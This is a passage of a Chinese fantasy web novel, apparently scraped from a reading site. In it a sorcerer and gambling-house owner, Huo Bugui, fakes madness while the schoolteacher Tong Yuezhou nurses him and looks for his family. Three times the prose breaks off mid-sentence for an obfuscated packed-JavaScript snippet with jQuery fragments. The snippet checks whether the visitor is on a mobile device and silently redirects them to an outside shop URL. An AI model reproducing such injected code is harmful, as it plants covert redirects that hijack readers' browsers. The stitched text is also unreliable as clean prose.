过去他是有意恶作剧,自己可以不理他,可以跟他生气,可以斥他无礼。可如今他神智不清的,说什么他也不一定能听得明白,跟他生气又有什么用呢。
佟月舟叹了口气,只得推了推眼镜,转向沈伯道。
“学堂那边我只告了半天的假,我换身衣服,就得赶紧过去了。”
“药再给他熬一碗吧,加点冰糖,尽量哄着他喝了。如果他还闹,那就等我回来再说吧。”
说完,佟月舟上楼换了衣服,便出门去了。而待到他下午再回来时,客房的地上刚刚泼上了一片新的药渍。
“啊……”
沈伯对佟月舟摇摇头,指指旁边尚还盛着药的碗,对佟月舟比了三根手指。
“熬的第三碗了?”
佟月舟问着,沈伯点了点头。
“加糖了吗?”
佟月舟又问,沈伯又点头。
“唔……”
佟月舟想了想,便先让沈伯去忙,自己端着这第三碗药,坐到了霍不归床边。
经过昨天一晚,霍不归已经把自己的角色揣摩得非常细致了——除了拒绝喝药的时候,平时就只需表演痴傻,不抗拒别人靠近,也不狂躁得大家都挺累,一切都拿捏在一个“话虽然听不太懂,但也不随便疯闹,一切都不影响自己吃好喝好”的精准尺度上。
而经过这一白天的尝试,他觉得这个尺度定得着实不错。现在他衣服已经穿上了,饭也吃得挺饱的,又在一个疯症病人的合理行为之下,成功地一口苦药也没喝。如今佟月舟坐在了他床边,他也不打算抽风了,就只是呆呆地盯着佟月舟,暗中等待着机会,再把他手里的药泼了。
“这药里加了糖,甜的,不苦了。”
不过佟月舟用勺子在碗里搅了搅,却并没有贸然往霍不归嘴边送,只是很有耐心地和他讲道理。
“喝了这药,你就能早点清醒过来,告诉我你家里还有谁,上哪儿去找他们。我去通知了你家人,他们就可以接你回家了。”
……对啊!
霍不归一怔,突然就被提醒到了。
药的事先放一边,关于疯病的事,自己怎么没想到佟月舟他还有这个选项!
本来他是觉得,都已经进了佟月舟家了,那就说明佟月舟愿意收留自己,他愿意收留,那自己也就可以安安生生地一直在这里呆到事情解决。
其实仔细想下,路上捡到一个生病的人,想办法通知家人给接走,这才是一般人的正常思路啊!
“我记得你以前,是住在城隍庙里的,对吧?”
佟月舟问。
霍不归脑中迅速思考着,不过表面上仍是听不懂一样呆看着佟月舟。
佟月舟见他没反应,又继续尝试着问他。
“城隍庙里,还有你什么人在吗?”
“哦……那天我在百岁坊遇见你了,你现在是住在百岁坊吗?我若是去百岁坊,能找到你的家人吗?”
霍不归还是没做反应,不过心里算是踏实了一点。
——因为佟月舟说的这俩地方,都是找不到人,送不走他的。
百岁坊么,他的赌场已经被封了,他的那些手下也都呆在家里抠脚,佟月舟就算去了,也只能找到一间贴着符的空店。
而城隍庙……
……城隍庙里的老神棍,更是早就翘辫子了,连撮灰都再刨不出来。
霍不归安了安心,料想佟月舟也是猜不到哪里去了,便懒得再给什么反应,非常省心地一切都以发呆应对。
虽然他们两个不管好歹地算是相识了多年,但其实互相之间并不熟悉。霍不归除了知道佟月舟体质特殊之外,连他住哪儿都还是昨天才打听出来的,而佟月舟之前也只知道这人住在城隍庙,并不知道城隍庙里除了霍不归这个小神棍,还有一个老神棍。
这所谓的老神棍,当然,其实就是霍不归的师父。
没人能那么神奇,可以将阴阳五行易理八卦都自己凭空悟出来,霍不归自然也是。他的本事,大多是小的时候老神棍教给他的。
没遇到老神棍之前,他就是个普通单纯的小乞丐,遭遇洪水饥荒,家里人带着他一路逃难,一路乞讨,后来家里人都没了,他就一个人自己乞讨,讨着讨着,就被老神棍从一众乞丐中拎了出来。
“你小子,跟我来。”
七八岁的霍不归天不怕地不怕,也不怕老神棍卖了他,让走就直接跟着走了。一路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813393|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走到一座破破烂烂的城隍庙,老神棍方才扯起他的右手,开口对他讲了些话。
……这不过这些话,霍不归基本都没听懂。
什么他右手的胎记是个黄泉印,是没洗掉黄泉路上的泥点子。
什么他这双眼是鬼火烧穿的窟窿,又灌了孽镜台的露水。
还说他天生就该吃阴阳道上这碗饭,说让他跟着自己修炼,不日必成大器。
你才烧穿的窟窿。
霍不归听得耐心全无,而且老神棍也并没有拿出什么干粮饼子的给他吃,还不如人贩子有诚意,于是不等老神棍说完,他扭头就走了。
不过后来他还是被老神棍留住了。
因为老神棍最后还是给了他饼子。
作为一个很普通的小乞丐,霍不归没有志向,要求不高,既然老神棍给吃给喝,那他也不介意跟着老神棍搞一搞封建迷信活动。不过一开始,这些封建迷信活动就只是写写画画打打坐,不疼不痒,很是平淡,这让霍不归就比较放松警惕,直到几天后老神棍拿着一堆奇怪的材料,让他把右手伸出来的那一刻,他都没有产生任何不祥的预感。
然后那堆材料被老神棍搅成了一碗黑不溜秋的水,用一根特殊的长针吸足了,针尖对着霍不归的胎记,忽地就扎了进去。
霍不归只记得当时疼得那是一个昏天黑地日夜不辨,脑袋,身体,四肢,包括那块胎记,整个人都好像被什么搅合成了一团烂泥样的混沌,令幼小的他足足昏睡了七天七夜,才终于清醒了过来。
后来他才知道,那碗黑不溜秋的水是城隍庙的香灰、冷檀木烧成的墨,和一瓢来自冥界的黄泉水混在了一起,七根沾着黑水的银针刺过,那块胎记居然就这么脱胎换骨了,覆着胎记的手指随意一抹,竟然就能凭空画出墨迹来!
“从今后你这胎记,就是正经八百的黄泉印了。”
老神棍是这么对他说的。
“有这黄泉印,你就等于持了阴司的笔,蘸了冥界的墨,你作的符,你定的契,城隍爷来了都解不了那里边的劫数咒力。”
……这么厉害?
小霍不归直接听呆了,而且在真用这根手指画出了几个神奇的符咒之后,他对老神棍的看法也一下子就改观了。老头虽然神叨了一点,但他的本事好像还真不是吹的,何况老头也足够看得起他,还真把他一个小乞丐当作了衣钵传人,懂的会的全都毫无保留地教给了他,甚至连“不归”这个名字,都是老神棍起给他的。
“你这命格,硬得可以。”
老神棍抽了口烟袋,幽幽说道。
“阴间容不下你的活人气,阳界也嫌弃你的黄泉味,你就是这世间独一道的人,阴间阳界,哪儿都不是你的归处。”
“索性,就叫你不归好了。”
“不归就不归。”
命硬不硬不知道,反正小霍不归脾气挺硬。
“自己的路自己走,我爱上哪儿就上哪儿,管他们归不归容不容。”
“行。”
老神棍敲敲烟袋里的灰,意味深长地看着自己的小徒弟,笑出了一口黄牙。
“那我可就等着了,看到最后,你小子究竟能走到哪儿去。”
5. 他以前有这么好看?
佟月舟其实有点唏嘘。
不久之前看见霍不归时,他还那么生龙活虎,春风得意,虽然看起来是没有走上正路,但好歹人还是活得挺好的。
不像现在,说话也不懂,问话也不答,整个人都是呆呆的,没一点鲜活气。
佟月舟看看霍不归,轻轻叹了口气。
抛却举止不谈,这个人原本还是生得很好的。鼻高眼深,轮廓英挺,嘴唇饱满又润泽,双唇间的弧线利落又好看。只是以前眉目间总带着点不正经的邪气,加上顽劣放浪的行为,本是一副好相貌,但却总显得不太正派。
可如今他的邪气也没了,呆愣的眼神中没有一点神采。虽然过去的霍不归让佟月舟烦不胜烦,但现在看着他这副样子,佟月舟忍不住地就又有点同情他了。
好好一个人,也不知道到底是遭遇了什么。
今天下午佟月舟去学堂上课,听到八卦的齐先生和梁先生又聊了些新消息。他们说百岁坊的长乐街解封了,但却仍是封着一家叫通宝楼的店。那是百岁坊最大的一家赌场,平日里生意红火,非常热闹。但现在店关了,治安所还绕着店铺贴了好多符咒,应该是出了什么邪性的事。
由于霍不归的关系,佟月舟这回特意多听了一耳朵,还搭着话问了几个问题。只不过齐先生和梁先生也都不了解百岁坊,只是好奇从别人那打听了些风闻而已,所以两个人谁也都说不出什么内情来。
真说起来,稍微离内情近一点的,还是捡了霍不归回家的佟月舟。
既然是那家赌场出事了,佟月舟猜霍不归八成就是那家赌场的人了。看那天他被小弟前呼后拥的神气样子,搞不好还是个打手头头什么的。
但邪不邪性这种迷信的事,佟月舟倒是从来都是不信的。与其说他是中邪了,佟月舟倒更愿意相信他是不干好事,被仇家装神弄鬼地报复了,以至于湿热过盛,痰迷心窍,得了这个神识昏蒙的病。
所以,他就还是得吃药,病才能好。
“等你病好了,还是别干坏事了。”
霍不归正一边走神,一边表演发呆,冷不丁就听佟月舟没头没脑地来了这么一句。他将目光在佟月舟脸上聚焦了一下,条件反射地想自己又对佟月舟干什么坏事了,就见佟月舟拿起药碗里的勺子,舀了一勺药,移到唇边,自己先抿了一口。
“我尝了,不难喝。”
佟月舟尝完,将勺子就着碗,淡淡一笑,向霍不归那边送了送。
“是甜的,试试看?”
霍不归愣了下,不知怎么,突然就没好意思再把药碗掀了。
佟月舟嘴唇上还沾着点药汁,舌头稍舔了一下,舔得嘴唇润润的泛了点水光。霍不归视线落向佟月舟的嘴唇,又向上移了移,看向佟月舟注视着自己的眼睛,神使鬼差,稀里糊涂,就凑近那盛了药的勺子,吸溜喝了一口。
是好喝了点……但也就只有那么一点而已。
霍不归忍着甜苦交加的奇怪味道,勉强将药汤咽了下去。而佟月舟见他终于愿意喝药,笑意一下子就漾开了,夸了一句好棒,又舀了一勺药,再次喂到他嘴边。
霍不归顿时就被夸得有点晕乎,然后没过脑子地就又低头把药喝了。
后来被灌了一肚子药的霍不归反思了一下,认为自己这反应也应该算是人之常情。
被这么温柔耐心地照顾着,被这么好声好气地哄着,就说谁能不迷失?谁还能坚持得了原则?
坚持不了,那必然得迷失。
更何况他笑得还这么好看。
入了夜,霍不归躺在床上,想起刚才佟月舟的笑脸,又努力和小时候的佟月舟重叠了一下。
小时候的佟月舟挺瘦的,若是抛开他那特别的气场,人其实并不是很起眼。鼻梁上总是戴着一副圆溜溜的眼镜,显得很是呆头呆脑,平日里不是在读书,就是在和自己生气,那时候的他好像从来也没对自己笑过。
……他以前也有这么好看么?
总有那副小破眼镜遮着,至于他相貌如何,好像还真没有太深的印象。
而今天佟月舟没有戴眼镜,霍不归似乎这才真正看清了他的眼睛。双眼皮很宽,眼睫毛又密又长的,就连下睫毛都一根一根生得特别明显。眼角微微垂着,被睫毛遮出来的一小片淡淡的影子,笑起来眼睛一弯,显得脾气很好,特别温柔。
不过脾气不好,估计小时候也忍不了一直被自己捉弄,如今也不会不计前嫌地真将自己捡回家来,又找大夫又喂药的,还夸自己好棒。
霍不归虽然在装傻,但又没真傻,人家佟月舟都这么不计前嫌了,他若还因为药苦瞎胡闹,那实在就有点不太地道了。
于是当晚,霍不归就又良心发现地调整了一下他表演思路——不发疯了,疯症病人合理范围内的疯也不发了,主打一个配合治疗,给药就喝,不招人烦,叫人省心。
佟月舟虽然有点呆,但心地确实是不错,小时候么……过去了也就算了,如今都这年纪了,就还是别再霍霍人家了。
***
“请问……有人吗?”
眼前的景象破败荒凉,看起来大概率就是没人的样子,不过佟月舟还是扬声问了一句。
烟城的城隍庙离青竹学堂不远,他记得过去上学那会儿,这里香火还是可以的,逢年过节的,总会有不少人来这儿上香祭祀。但如今这城隍庙显然是荒废了,院落中杂草丛生,尘泥遍地,门板廊柱上的漆皮斑驳裂开,露出了深浅不一的朽木色。褪了色的黄绸幔帐破破烂烂地垂在门框边上,细看去,上面还挂着几丝裹着尘土的蛛网。
这就是霍不归以前住的地方?
佟月舟站在院子中央,环顾着四周,有点发呆。
他之所以知道霍不归住在城隍庙,是因为小时候霍不归曾经跟他说过好几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813394|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次,说他就住在城隍庙,让佟月舟去找他玩。佟月舟当然不会去,他巴不得这野小子赶紧消失,永远也别来闹他。但霍不归却好像对他的反感浑然不觉,一边变着法捉弄他,一边还腆着脸,说让佟月舟去城隍庙,他要给佟月舟煮神仙汤喝。
非常烦人,非常无语,让佟月舟一想起来,就恨不能把他扔出家门,让他自生自灭算了。
不过想归想,佟月舟到底还是找来了城隍庙。
佟月舟本来想,就算霍不归现在不住城隍庙了,但城隍庙里或许还能找到他家人,或者至少是知道他的人,能让自己打听点消息回来,再到别处去寻。
可谁成想,如今这城隍庙里竟然什么也没有了。看这寥落的样子,显然也是荒了有几年了,可什么时候开始荒的,佟月舟竟是一点也不知道。
佟月舟看着前方昏黑幽深的庙堂,又转头看了看一旁的厢房。那厢房窗纸破得飘飘摇摇的,确实不可能有人在住。但他想既然来了,总是要找个死心彻底再走,于是他便绕过庙堂,又向后院走去。
后院也有几间屋,看那破旧的样子,住人同样也是困难。佟月舟推开虚掩的屋门,一间间地走进去看,又挥着鼻间的灰尘味走出来,忍不住轻咳了几声。
有的屋里有床,有的屋里有灶台,生活痕迹确实是有,但并没有什么有用的痕迹。
整个城隍庙,就这么大点地方,应该也不可能再发现什么了。佟月舟轻呼口气,正准备回去,不经意间,余光扫到了藏在院子角落里的一口井。
古古旧旧的,井绳断着搭在一边,看起来也是久久无人使用的样子。
佟月舟脚步顿了顿,望了那井一眼,又生硬地移开了视线。
他不喜欢井,因为他的母亲就是掉进井里去世的。
不知道是自杀,还是一不小心失足,没人说得清。
因为他母亲那时,也早就疯疯癫癫,神志不清了,就跟现在的霍不归一样。
疯症是个难缠的病,自佟月舟有记忆起,母亲就一直是奇奇怪怪不太清醒的样子。父亲曾给母亲寻了很多医,问了很多药,但直到母亲去世,情况也都没太多好转。
不知道霍不归的病能不能治好。
佟月舟一边向大门口走着,一边在心里想。
也不知道他成家了没有,可还有兄弟姐妹。
赌场出了事,人也没音讯,他的家人一定很担心。
还是要尽快找到他的家人,让他们安心才是。
少想些这人过去的烦人行径,佟月舟就又心软了一点。但可惜霍不归现在糊涂着什么也说不出来,而他对于霍不归的了解,也就仅限于城隍庙和百岁坊这两个地方。
既然在城隍庙一无所获,那就只能等明天,去百岁坊找一找那个叫通宝楼的地方,试着碰碰运气了。
佟月舟这样想着,一提衣摆,迈出了城隍庙的大门。
6. 时运未到
“通宝楼还特么给老子封着呢??”
霍不归脸色阴沉,骂了一句。
佟月舟家二层小楼后面和院墙之间有一道狭窄的空隙,墙角边堆了点杂物,砖缝里长着些杂草,几块碎瓦片散落在地上,看起来是平时很少打理的样子。佟月舟和沈伯都出门了,霍不归也该办他的正事了,如今他正叉着腿坐在那堆杂物上,手里捻着他的铜钱,看起来很有几分帮派老大的气场,半点也不见这两天面对佟月舟时的傻模样。
而在他面前则站着一个人高马大的年轻男人,身后还跟着一溜同样精壮的汉子。地方窄,人多站不开,一群人就只能一个接一个地排着队,时不时探头探脑地望一望坐在深处杂物堆上的老大,场面着实有点滑稽。
霍不归阴着脸思考了一会儿,一抬头,就看见面前那一溜排队排得还挺整齐的手下,心里头又是一股邪火往上冒。
“你们进来这么多人干嘛?还嫌这点地儿不够挤?”
“呃……”
打头那高大男人就是陈江海,霍不归最得力的二把手。他愣了下,又搔了搔他的寸头脑袋,语气小心翼翼的。
“这不是、想给您撑撑场子……”
“撑个屁。”
霍不归眉头一皱。
“我是要欺男霸女还是打家劫舍?我要场子干嘛用!”
“……”
陈江海咽咽口水,没敢顶嘴。
自家老大的心情现在明显是不咋地。陈江海从霍不归还没发家的时候就跟着他混,到现在已经好几年了,对霍不归的脾气可以说是摸得通透门儿清。老大心情好的时候,跟他怎么逗怎么贫,怎么没大没小地放肆,他都能乐呵呵地不计较,无所谓。而一旦他心情不好,那股子阴沉劲儿一上来,那你就是喝口水,他都能嫌你咕嘟得声太大。
陈江海不敢说话,只能偷偷瞄着霍不归。地方挤显然也不是重点,霍不归瞎发了句火,也就没再揪着这事不放,沉着脸,低着眼,不知道在想什么。他眉骨生得高,稍一低头,眼睛就被遮在一片沉沉阴影之中,一双眼瞳本就黑得墨一样,被阴影一遮,更显得黑不见底,深不可及。
陈江海瞄着霍不归的表情,估计着他家老大其实还是在为通宝楼的事生气。
通宝楼被治安所封了三天了,不光封着,还大张旗鼓地给贴了一堆符,隔着半条街都能看见他们通宝楼上一片黄纸飘飘。他带人去了治安所了,也解释过事情原委,保证上次那事实属偶然,小概率事件,今后肯定不会再有,而治安所那边也好言好语地说着知道了,别担心,会解封,可直到今天,那大黄符纸还在通宝楼上明晃晃地贴着,治安所的人也还在四面八方地守着,半点没见有解封的意思。
治安所这么搞,这就等于明白昭示着通宝楼是块凶地,这让他们以后还怎么做生意!
“治安所那边,给了多少。”
沉默片刻,霍不归才开口道。
“给挺多的,这个数。”
陈江海跟霍不归比了个手势。
“比平时都多,钱的方面应该是到位的。”
“我猜他们主要还是怕再出事。要是再闹这么一出,上头真怪罪下来,那就不是钱能解决的事了。”
“大爷的。”
霍不归愤愤骂了一句,想抽根烟,摸摸兜才发现兜里没有,估计是跟衣服一起泡湿了被佟月舟扔了。
陈江海一看他这动作,连忙很有眼力价地掏出烟递了过去,一擦火柴,给霍不归点上了火。霍不归深吸了一口,又呼地吐出一团白烟。
到底是为什么闹的鬼尚还不清楚,但厉鬼这玩意儿没脑子,怨气系在哪儿,它们就只在哪儿呆着,如今怨气显然是系在霍不归身上,只要霍不归不在通宝楼,那通宝楼就肯定不会再出事。
可虽然霍不归懂,治安所的人却不懂,如今他们急着让通宝楼解封,去跟治安所解释什么,治安所都必然会觉得可信度存疑。
“你,这样。”
抽掉了半根烟,霍不归方才夹着烟卷点了点,对陈江海下了吩咐。
“你去外边,请个城隍爷的像来,只要店里放得下,越大越好。然后你们架着城隍爷,找人敲锣打鼓吹喇叭,从百岁坊坊口就开始吹,一直绕着长乐街吹上一圈,等到让所有人都知道了,最后再将城隍爷请到店里去。”
“往店里请城隍爷,治安所那帮人不敢不给开门。你顺便再找点人来作法,真的假的都行,能闹出声势来唬住人就行,最后再给治安所那边塞点钱,叫他们赶紧给我解了。烟城这么大,又不是只有百岁坊一个地方能开店,解了封,以后油水少不了他们的,再不解,那今后就一拍两散,有的是人愿意让我送钱。”
霍不归又吸了一口,在烟雾缭绕里眯了眯眼,接着说道。
“解封了之后,你带着大家先把店开着,不用管我,就照以前的样子,该怎么经营怎么经营。如果没人来,就花钱找点托儿,搞得热闹点。有城隍爷镇场子,再热闹上那么几天,别人看着平安无事的,该来的也就来了。”
“行,知道了老大,我回去就办!”
陈江海知道霍不归的招一向都靠谱,二话不说就应了下来。
“嗯。”
霍不归弹弹烟灰,没看陈江海,视线落在空气中的某一点上,两只墨黑的眼被睫毛遮着,没露出一点光,也看不出里面藏着什么,很是有些莫测。
“别的,查出什么来了么。”
霍不归问道。
陈江海跟了霍不归这么多年,当然知道霍不归是干什么的,也当然知道他说的“别的”是指什么。
“吩咐人查过了。”
陈江海凑近了点,压低声音,回得很详细。
“烟城方圆几十里,前几天出的最大一档子事,是一宗灭门案。出事的是城郊的傅家庄,一场火烧死了十几口子人,一个也没逃出来。除此之外,有一个上吊的,还有一个掉水里溺死的,剩下的,就都是老的病的寿数到了,没有什么横死的了。”
“唔……”
霍不归点点头。
按常理来说,会像这样突然出现的厉鬼,基本上都是没能好死,怨气深重,拒绝炼化轮回,只想回阳间寻仇的横死者。所以在那夜分开之前,霍不归就嘱咐了陈江海去查最近横死的事件,或许能从中找到什么线索。而就缠上他的怨气体量而言,那不是一个上吊一个溺死就能造成的,所以如果说这三场横死里面有哪场能牵连上他,那也只能是傅家庄这边了。
“傅家庄的那个,你确定是灭门案,不是意外走水么?”霍不归问。
“应该确定,那边官府也已经立案了。”
陈江海回答道。
“据说是发现了有泼油的痕迹,大门也被人从外面关死了,明摆着是有人蓄意纵火,目的就是要灭了傅家满门。”
“唔……傅家。”
如果陈江海的信息准确,那么傅家的可疑程度就又高了几分。这么典型的横死事件和他被厉鬼缠身的事前后脚发生,似乎是该有那么点联系在里边的,但想了半天,霍不归也没想明白这联系是连在哪儿了。
他不认识傅家人,没听过,没见过,甚至他周围一圈人里,好像都没有一个姓傅的。
烧傅家的火又不是自己放的,凭什么他们被灭了门,自己就要被厉鬼找上??
“老大,您说会不会是跟咱们的‘生意’有关系?”
“嗯。”
霍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813395|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
归暗自琢磨着,随便出了个声,未置可否。
陈江海说的“生意”,并不是在说赌场生意。若是赌场生意这边,霍不归基本可以肯定是不会有什么问题的。他的赌场经营得非常遵纪守法,规则透明,丰俭由人,从不会黑||帮一样有事没事的就剁人指头要人命。甚至他们还很贴心地为输光了钱的赌徒们提供了借贷服务,利息就和正规银庄一般无二,从来不玩高利贷那一套,可以说是相当纯善友爱讲良心了。
而且归根结底,阳界的人,阳界的债,也不会扯上这种阴间官司。
但作为一个本事不小的阴阳术师,霍不归又怎么能满足于只在阳间搞搞这种遵纪守法的普通生意呢?
好好一身术法憋着不用,那岂不是要技痒难耐,心痒难搔么。
所以在赌场背后,霍不归还搞起了一桩真金白银哗哗来的大生意,那才是他真正的身家所在。这生意扯着阳间的人,欠着阴间的债,是不通阴阳的寻常人想不出的歪门邪道,也是除了霍不归这种混不吝的亡命徒,谁也不敢乱碰的天命禁忌。
通宝楼的老板霍不归,真正的身份,是一个行走阴阳两界的中人掮客,真正的生意,做的是活人阳寿的买卖。
这个买卖阳寿的生意,赚钱思路其实非常简单明了——有人有钱但缺命,有人有命但没钱。资源不均,各有需求,生意口子这不就来了么。
借了钱还不上的赌徒,只消付出几年阳寿,就可以抵了赌债,而命不久矣的富豪,只要付出点大洋,就能在这世上再多风光几年。交易达成,可通阴阳的霍不归就会亲自前往冥界寿籍司,打点好掌管生死簿的判使,让他们在生死簿上减上一笔,再加上一笔。账面抹平,神鬼不知,买卖双方,皆大欢喜,而中间人霍不归则赚得盆满钵满,几年时间,就赚够了能供他逍遥一辈子的钱。
所以他内心里非常不希望,这回的事是因为他的生意翻了车。他问了陈江海,陈江海也说目前看来傅家和他们的阳寿买卖没牵扯,过往记录里边无论是买家还是卖家,都没有傅家的人。
虽然是不希望是生意的问题,但眼见着好像真的没关系了,这件事不免就更扑朔迷离了。于是霍不归想了下,伸手在衣兜里掏掏,又把三枚铜钱拿在了手上。
这动作陈江海是无比熟悉了,他立刻退开一步,给霍不归让出了块空地。三枚铜钱叮当落地,又被一把抓回手心,再次当啷啷掷向地面。然而六遭已毕,卦象已成,霍不归的眉心却依然沉着,并不像是得到了什么启示的样子。
“老大?”
陈江海试探着问道。
“时运未到。”
霍不归说了一句,站起身,又坐回了杂物堆上,手里把玩着铜钱,一副若有所思的样子。
卜卦这件事虽然玄乎,但也并不是什么能通晓万事的神奇魔法。想要从那阴阳五行的卦象中得到现实的启示,那是要讲究时运的。
比如霍不归之前卜出的那则【坎水东流,太阴渡厄】,他之所以能明白这卦象指的是佟月舟,那是因为他脑子里本来就有佟月舟这个名字。如果这卦象出现在他认识佟月舟之前,那“太阴渡厄”对他来说就是一则解不出谜底的谜语,很难起到什么指引作用。
而现在,他显然是还没能攒足这个时运,傅家灭门案和他被厉鬼缠身之间有什么联系,他并没有从卦象上得到什么解答,甚至是不是真的有联系,他都还不能百分之百确定。
“继续查吧,查傅家,也留意着别的异象。”
思考了一会儿,霍不归收起他的铜钱,对陈江海说道。
“和傅家有关联的可能性高,但其他可能性也不是没有,有线索就来报我,大事小事都别放过。”
“是!”
7. 天生煞星
“今天我去城隍庙了。”
佟月舟一勺一勺地舀着药,一边喂给霍不归喝,一边有一句没一句地对他说着。卧床病人霍不归如今身体看起来还不错,已经可以下床溜达了,不过生活还是比较不能自理,特别是喝药,怎么劝也不自己喝。于是佟月舟只得让他坐在小客厅里的饭桌边,还是由自己来喂给他喝。
“我之前都不知道,城隍庙都已经荒了,没有人住,我也没找到人能问问你家在哪儿。”
“我看到庙堂后面的院里有住的地方,还有厨房,你以前就是住在那儿吧?你家里,还有谁在吗?”
“他们肯定很担心你。你放心,我会尽力帮你通知到家人的。”
佟月舟说话的样子斯斯文文的,语速不快,声音也不高,以至于霍不归一边听着他那没什么抑扬顿挫的闲聊,一边忍不住地就走起了神。他在脑海中重新搜索了一遍有关傅家的信息,结果还是一无所获,他只得又顺带着琢磨了下那个上吊的和溺死的。上吊的是个年轻姑娘,被人始乱终弃,受不了流言蜚语自尽了。溺死的是个半大孩子,溺死的原因就是自己掉河里了,纯属不小心,也并不是有人害他。
虽然这姑娘和孩子都挺可怜的,但说实话,就凭这俩人化出的怨气,能把自己追得穷途末路的,使出老底都镇不住?
不是霍不归自大,这用脚指头想都绝不可能。
而傅家被人蓄意灭门,还是用火烧这种激烈残忍的方式,他们的亡魂怨气倒确实够狠。但不光是自己和傅家没联系,霍不归最想不通的,还是自己怎么就镇不住那些厉鬼了。
正常来说,即便是火烧灭门的怨气,在霍不归面前也不会成什么气候。
老神棍曾为他测算过,以八字排,霍不归是少见的七杀且命带太极贵人的命格。七杀极凶,自身煞气极重,一般的邪祟甚至都凶不过他,更别妄想在他面前造次。而太极贵人则主灵觉超凡,使得霍不归天生在阴阳术法方面能够一点就透,领悟力极高。用老神棍的话说,霍不归这个人生来就是要吃阴阳道这碗饭,干别的,都是埋没了这老天给的这副命格。
而他手上这块自胎里带的黄泉印,被老神棍一点化,也果然就像是持了阴司的笔,蘸了冥界的墨一般。只消心念一动,伸手一指,这胎记就会从青灰变成浓郁的墨色,凭空写出的字就可以自动形成一张张符咒。染过冷檀墨,渍了黄泉水的,用这印记写出的符咒,所蕴含的咒力比用普通毛笔写出来的直接能强上数个量级。
不光是术法方面,让他大赚特赚的阳寿生意,也是仰赖了这块黄泉印来保障。买寿人和卖寿人,都要在他用黄泉印写出的契约上签字画押,老老实实遵守他定下的规矩。用黄泉印结的契,自缔结之始便已经带了冥界的咒,普通的契约若是违背,那还有契约人有没有能力成功追责的问题,而违背了霍不归的黄泉契约,对方直接就会受到阴债反噬,哪怕跑到天涯海角,也是不可能逃得开,躲得掉。
绝对压制的命格,加上万里无一的神器,老神棍说他世间独一道,他还确实是担得起的。一直以来,他就没在这种事上吃过瘪,那些低级的鬼魅邪祟,他根本就不曾拿正眼瞧过,甚至就连寿籍司的阴官判使,也都能卖他几分面子。
而现在,区区一帮不知哪儿来的破鬼,竟然能这么神气活现地在他面前蹦跶,镇也镇不掉,驱也驱不走,逼得他霍不归这么大的佬,只能窝窝囊囊地躲在个不通术法的书呆子身边!不仅赌场被封了,他那阴阳买卖金饽饽也得搁置下来,分不了身去打理……
特么的这问题到底出在哪儿!!
霍不归越想越怒,越想脸色越阴沉,这时却听清浅浅一声“霍不归”,带着点疑惑上挑的尾音,忽然钻进了他耳朵里。
霍不归下意识看向那声音的来源,正在累积的怒意突然就被这一声“霍不归”弄卡壳了。
“你怎么了?”
佟月舟担忧地看着他,眼神中冒着清澈的呆气。
“是不是药太苦了?”
他撩起勺子自己尝了尝,自言自语了一句“还可以呀”,便又舀了一勺给霍不归。
“这次还多放了糖,很甜的,来,喝吧。”
“唔……”
霍不归思路一断,一时也忘了刚才想到哪儿了,只得暂且又装得傻了点,低头喝了佟月舟勺子里的药。
“今天去城隍庙的时候,我还想起小时候的事了。”
佟月舟好像还挺愿意和傻了的霍不归聊天,话说得就像老朋友叙旧一样,也不管霍不归有没有回应。霍不归刚才在走神,也不知道他之前说了什么,只能就这么装着傻,没有上下文地胡乱瞎听。
“说实话,那时候我真是很烦你的。也不知道我是怎么招惹了你,你就总是要对我做这样那样的恶作剧。”
佟月舟慢条斯理地说着。
“不过现在你落难了,我又是觉得你可怜。既然老天让我捡到你了,那我也不能丢下你不管。”
“细想想,我们倒也没有什么深仇大恨的,你虽然捉弄我,但到底也没有真伤过我。我知道你其实也不是坏人,你还记得吗,你以前还叫我去城隍庙,说要给我喝神仙汤。”
说到这儿,佟月舟眼角弯出了一抹淡淡的笑意。
“神仙汤是什么,我没听说过。也不知道那时候你是真想请我喝汤,还是又要把我叫过去捉弄。”
霍不归含着佟月舟喂的药,怔了怔,半天才从记忆深处刨出了点线头,拉拉拽拽的总算是想起了神仙汤是什么。
那是小时候他自己瞎鼓捣的吃食,就是把城外野地里长的白蘑菇,还有他从河沟里抓的青蛙,
